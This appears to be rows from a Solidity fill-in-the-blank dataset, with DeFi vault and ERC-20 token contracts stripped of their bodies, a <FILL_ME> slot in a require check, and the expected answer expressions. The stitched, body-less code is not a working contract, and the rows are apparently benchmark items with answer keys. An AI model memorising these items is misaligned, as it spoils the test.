function resetStrategistFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of debt limit (with time delay enforced).
* @param newDebtLimit New debt limit.
* @return `true` if successful.
*/
function prepareDebtLimit(uint256 newDebtLimit) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of debt limit (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New debt limit.
*/
function executeDebtLimit() external returns (uint256) {
}
function resetDebtLimit() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of target allocation (with time delay enforced).
* @param newTargetAllocation New target allocation.
* @return `true` if successful.
*/
function prepareTargetAllocation(uint256 newTargetAllocation)
external
onlyAdmin
returns (bool)
{
}
/**
* @notice Execute update of target allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New target allocation.
*/
function executeTargetAllocation() external returns (uint256) {
}
function resetTargetAllocation() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of reserve fee (with time delay enforced).
* @param newReserveFee New reserve fee.
* @return `true` if successful.
*/
function prepareReserveFee(uint256 newReserveFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of reserve fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New reserve fee.
*/
function executeReserveFee() external returns (uint256) {
}
function resetReserveFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of deviation bound for strategy allocation (with time delay enforced).
* @param newBound New deviation bound for target allocation.
* @return `true` if successful.
*/
function prepareBound(uint256 newBound) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of deviation bound for strategy allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New deviation bound.
*/
function executeBound() external returns (uint256) {
}
function resetBound() external onlyAdmin returns (bool) {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external onlyAdmin returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256) {
}
function getStrategiesWaitingForRemoval() external view returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds - debt
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy)
external
view
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public onlyAdmin returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public onlyAdmin returns (bool) {
}
/**
* @notice Returns the percentage of the performance fee that goes to the strategist.
*/
function getStrategistFee() public view returns (uint256) {
}
function getStrategy() public view override returns (IStrategy) {
}
/**
* @notice Returns the percentage of the performance fee which is allocated to the vault reserve
*/
function getReserveFee() public view returns (uint256) {
}
/**
* @notice Returns the fee charged on a strategy's generated profits.
* @dev The strategist is paid in LP tokens, while the remainder of the profit stays in the vault.
* Default performance fee is set to 5% of harvested profits.
*/
function getPerformanceFee() public view returns (uint256) {
}
/**
* @notice Returns the allowed symmetric bound for target allocation (e.g. +- 5%)
*/
function getBound() public view returns (uint256) {
}
/**
* @notice The target percentage of total underlying funds to be allocated towards a strategy.
* @dev this is to reduce gas costs. Withdrawals first come from idle funds and can therefore
* avoid unnecessary gas costs.
*/
function getTargetAllocation() public view returns (uint256) {
}
/**
* @notice The debt limit that the total debt of a strategy may not exceed.
*/
function getDebtLimit() public view returns (uint256) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToTreasury(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _reserveBalance() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee, uint256 strategistFee) internal pure {
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
}
| currentAddresses[_STRATEGY_KEY]==address(0),Error.ADDRESS_ALREADY_SET | 30,638 | currentAddresses[_STRATEGY_KEY]==address(0) |
"sum of strategist fee and reserve fee should be below 1" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.9;
import "SafeERC20.sol";
import "Initializable.sol";
import "IERC20.sol";
import "ILiquidityPool.sol";
import "IVault.sol";
import "IVaultReserve.sol";
import "IController.sol";
import "IStrategy.sol";
import "ScaledMath.sol";
import "Errors.sol";
import "EnumerableExtensions.sol";
import "AddressProviderHelpers.sol";
import "VaultStorage.sol";
import "Preparable.sol";
import "IPausable.sol";
import "AdminUpgradeable.sol";
abstract contract Vault is IVault, AdminUpgradeable, VaultStorageV1, Preparable, Initializable {
using ScaledMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
bytes32 internal constant _STRATEGY_KEY = "Strategy";
bytes32 internal constant _PERFORMANCE_FEE_KEY = "PerformanceFee";
bytes32 internal constant _STRATEGIST_FEE_KEY = "StrategistFee";
bytes32 internal constant _DEBT_LIMIT_KEY = "DebtLimit";
bytes32 internal constant _TARGET_ALLOCATION_KEY = "TargetAllocation";
bytes32 internal constant _RESERVE_FEE_KEY = "ReserveFee";
bytes32 internal constant _BOUND_KEY = "Bound";
uint256 internal constant _INITIAL_RESERVE_FEE = DECIMAL_SCALE / 100;
uint256 internal constant _INITIAL_STRATEGIST_FEE = DECIMAL_SCALE / 10;
uint256 internal constant _INITIAL_PERFORMANCE_FEE = (DECIMAL_SCALE * 5) / 100;
uint256 public constant DECIMAL_SCALE = 1e18;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IVaultReserve public immutable reserve;
constructor(address _controller) {
}
function initialize(
address _pool,
uint256 _debtLimit,
uint256 _targetAllocation,
uint256 _bound
) external virtual override initializer {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyAdmin returns (bool) {
}
/**
* @notice Withdraws all funds from vault and strategy and transfer them to the pool.
*/
function withdrawAll() external override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyAdmin {
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
* @return `true` if successful.
*/
function initializeStrategy(address strategy_) external override onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of the vault's strategy (with time delay enforced).
* @param newStrategy Address of the new strategy.
* @return `true` if successful.
*/
function prepareNewStrategy(address newStrategy) external onlyAdmin returns (bool) {
}
/**
* @notice Execute strategy update (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategy address.
*/
function executeNewStrategy() external returns (address) {
}
function resetNewStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of performance fee (with time delay enforced).
* @param newPerformanceFee New performance fee value.
* @return `true` if successful.
*/
function preparePerformanceFee(uint256 newPerformanceFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of performance fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New performance fee.
*/
function executePerformanceFee() external returns (uint256) {
}
function resetPerformanceFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of strategist fee (with time delay enforced).
* @param newStrategistFee New strategist fee value.
* @return `true` if successful.
*/
function prepareStrategistFee(uint256 newStrategistFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of strategist fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategist fee.
*/
function executeStrategistFee() external returns (uint256) {
}
function resetStrategistFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of debt limit (with time delay enforced).
* @param newDebtLimit New debt limit.
* @return `true` if successful.
*/
function prepareDebtLimit(uint256 newDebtLimit) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of debt limit (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New debt limit.
*/
function executeDebtLimit() external returns (uint256) {
}
function resetDebtLimit() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of target allocation (with time delay enforced).
* @param newTargetAllocation New target allocation.
* @return `true` if successful.
*/
function prepareTargetAllocation(uint256 newTargetAllocation)
external
onlyAdmin
returns (bool)
{
}
/**
* @notice Execute update of target allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New target allocation.
*/
function executeTargetAllocation() external returns (uint256) {
}
function resetTargetAllocation() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of reserve fee (with time delay enforced).
* @param newReserveFee New reserve fee.
* @return `true` if successful.
*/
function prepareReserveFee(uint256 newReserveFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of reserve fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New reserve fee.
*/
function executeReserveFee() external returns (uint256) {
}
function resetReserveFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of deviation bound for strategy allocation (with time delay enforced).
* @param newBound New deviation bound for target allocation.
* @return `true` if successful.
*/
function prepareBound(uint256 newBound) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of deviation bound for strategy allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New deviation bound.
*/
function executeBound() external returns (uint256) {
}
function resetBound() external onlyAdmin returns (bool) {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external onlyAdmin returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256) {
}
function getStrategiesWaitingForRemoval() external view returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds - debt
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy)
external
view
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public onlyAdmin returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public onlyAdmin returns (bool) {
}
/**
* @notice Returns the percentage of the performance fee that goes to the strategist.
*/
function getStrategistFee() public view returns (uint256) {
}
function getStrategy() public view override returns (IStrategy) {
}
/**
* @notice Returns the percentage of the performance fee which is allocated to the vault reserve
*/
function getReserveFee() public view returns (uint256) {
}
/**
* @notice Returns the fee charged on a strategy's generated profits.
* @dev The strategist is paid in LP tokens, while the remainder of the profit stays in the vault.
* Default performance fee is set to 5% of harvested profits.
*/
function getPerformanceFee() public view returns (uint256) {
}
/**
* @notice Returns the allowed symmetric bound for target allocation (e.g. +- 5%)
*/
function getBound() public view returns (uint256) {
}
/**
* @notice The target percentage of total underlying funds to be allocated towards a strategy.
* @dev this is to reduce gas costs. Withdrawals first come from idle funds and can therefore
* avoid unnecessary gas costs.
*/
function getTargetAllocation() public view returns (uint256) {
}
/**
* @notice The debt limit that the total debt of a strategy may not exceed.
*/
function getDebtLimit() public view returns (uint256) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToTreasury(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _reserveBalance() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee, uint256 strategistFee) internal pure {
require(<FILL_ME>)
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
}
| reserveFee+strategistFee<=DECIMAL_SCALE,"sum of strategist fee and reserve fee should be below 1" | 30,638 | reserveFee+strategistFee<=DECIMAL_SCALE |
null | pragma solidity ^0.4.4;
contract owned {
address public owner;
function owned() public{
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract ERC20Token {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract StandardToken is ERC20Token {
function transfer(address _to, uint _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint balance) {
}
function approve(address _spender, uint _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public _supply;
function totalSupply() public constant returns (uint supply) {
}
}
contract CWVToken is StandardToken,owned {
uint public time_on_trademarket; // when to lock , the day when cwv on trade market
uint public time_end_sale; // day when finished open sales, time to calc team lock day.
uint public angels_lock_days; // days to lock angel , 90 days
uint public team_total_lock_days; // days to local team , 24 month
uint public team_release_epoch; // epoch to release teams
string public name = "CryptoWorldVip Token";
string public symbol = "CWV";
string public version = "V1.0.0";
uint public decimals = 18;
mapping (address => uint) angels_locks;//all lock 3 months,
address public team_address;
uint public team_lock_count ; // team lock count
uint public last_release_date ; // last team lock date
uint public epoch_release_count; // total release epoch count
uint calc_unit = 1 days ;// days
function CWVToken() public{
}
function setOnlineTime() public onlyOwner {
}
function transfer(address _to, uint _value) public returns (bool success) {
}
//3 month lock up
function earlyAngelSales(address _to, uint256 _value) public onlyOwner returns (bool success) {
require (_to != 0x0 && _value > 0 && _to !=team_address);
uint v = _value * 10 ** uint256(decimals);
require(<FILL_ME>)
balances[msg.sender] -= v;
balances[_to] += v;
angels_locks [ _to ] += v;
Transfer(msg.sender, _to, v);
return true;
}
function batchEarlyAngelSales(address []_tos, uint256 []_values) public onlyOwner returns (bool success) {
}
function angelSales(address _to, uint256 _value) public onlyOwner returns (bool success) {
}
function batchAngelSales(address []_tos, uint256 []_values) public onlyOwner returns (bool success) {
}
function unlockAngelAccounts(address[] _batchOfAddresses) public onlyOwner returns (bool success) {
}
function frozen_team(address _to) public onlyOwner returns (bool success) {
}
function changeTeamAddress(address _new) public onlyOwner returns (bool success) {
}
function epochReleaseTeam(address _to) public onlyOwner returns (bool success) {
}
}
| balances[msg.sender]>=v&&v>0 | 30,723 | balances[msg.sender]>=v&&v>0 |
Subsets and Splits